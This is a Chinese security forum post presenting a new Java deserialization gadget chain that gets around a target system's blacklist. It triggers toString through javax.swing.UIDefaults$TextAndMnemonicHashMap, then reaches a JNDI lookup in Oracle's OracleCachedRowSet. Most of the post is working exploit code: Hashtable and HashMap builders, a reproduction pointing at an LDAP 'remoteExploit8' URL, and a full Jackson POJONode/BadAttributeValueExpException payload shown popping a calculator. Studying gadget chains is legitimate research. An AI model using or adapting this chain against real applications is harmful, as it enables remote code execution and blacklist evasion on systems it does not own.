jdk新入口挖掘
Unam4 发表于 浙江 漏洞分析 2210浏览 · 2024-05-30 07:23

0x01 前因

某系统存在大量黑名单,前期找了新的入口点。但tj哥想找其他的触发点,最后找到了oracle数据库的jndi。

0x02 分析

​ 代码上触发tostring的类(若badAttributeValueExpException,HotSwappableTargetSource,XStringForFSB,AudioFileFormat$Type)被搬掉了,没别的依赖。所以找了一条新的tostring。

javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到是map,然后调用了key的tostring,非常完美。

java.util.AbstractMap#equals

m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理,java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了,haspmap,hashtable都可以。

hashtable触发tostring

public static Hashtable makeTableTstring(Object o) throws Exception{
        Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        tHashMap1.put(o,"yy");
        tHashMap2.put(o,"zZ");
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(tHashMap1,1);
        hashtable.put(tHashMap2,1);

        tHashMap1.put(o, null);
        tHashMap2.put(o, null);
        return hashtable;
    }

hashmap触发tostring

public static HashMap maskmapToString( Object o1,  Object o2) throws Exception{
        Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        tHashMap1.put(o1,null);
        tHashMap2.put(o2,null);
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, tHashMap1, null, null);
        Object node2 = constructor.newInstance(0, tHashMap2, null, null);
        Field key = node.getDeclaredField("key");
        Field modifiers = Field.class.getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
        key.setAccessible(true);
        key.set(node1, tHashMap1);
        key.set(node2, tHashMap2);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        table.set(hashMap, arr);
        return hashMap;
    }

由于黑名单比较丰富,网上常见的getter基本都被搬掉,最后找到Oracle数据库可以出发jndi。
OracleCachedRowSet#getConnectionInternal

这里直接new了一个InitialContext

然后进行了lookup,然后触发。

oracle.jdbc.rowset.OracleRowSet#getDataSourceName

可以看到是直接获取这个属性。可控。

抽象类,可序列化

oracle.jdbc.rowset.OracleCachedRowSet#getConnection 这个方法直接调用。

那种想到需要触发OracleCachedRowSet的getter()方法就能触发。

0x03 复现

import oracle.jdbc.rowset.OracleCachedRowSet;

import java.lang.reflect.Field;

public class Oracle {
    public static void main(String[] args) throws Exception{
        OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

        oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8");
        oracleCachedRowSet.getConnection();
    }
}

日常jndi招呼计算器。

0x04 gadget

package test;

import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.Vector;

public class Oracle {
    public static void main(String[] args) throws Exception {
        try {
            ClassPool pool1 = ClassPool.getDefault();
            CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

        Field dataSourceName_1 = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
        dataSourceName_1.setAccessible(true);
        dataSourceName_1.set(oracleCachedRowSet, "ldap://127.0.0.1:1389/remoteExploit8");
        Vector v1 = new Vector();
        v1.add(0, "111");
        Vector v2 = new Vector();
        v2.add(0, "222");
        utils.setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111", "222"});
        utils.setFieldValue(oracleCachedRowSet, "matchColumnNames", v1);
        utils.setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v2);
        utils.setFieldValue(oracleCachedRowSet, "monitorLock", null);

        POJONode node = new POJONode(oracleCachedRowSet);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        utils.setFieldValue(badAttributeValueExpException, "val", node);
        byte[] serialize = utils.serialize(badAttributeValueExpException);
        utils.unserialize(serialize);

    }
}

招呼计算器成功,最后用hashtable或者hashmap替换一下就行了。

0 条评论
某人
表情
可输入 255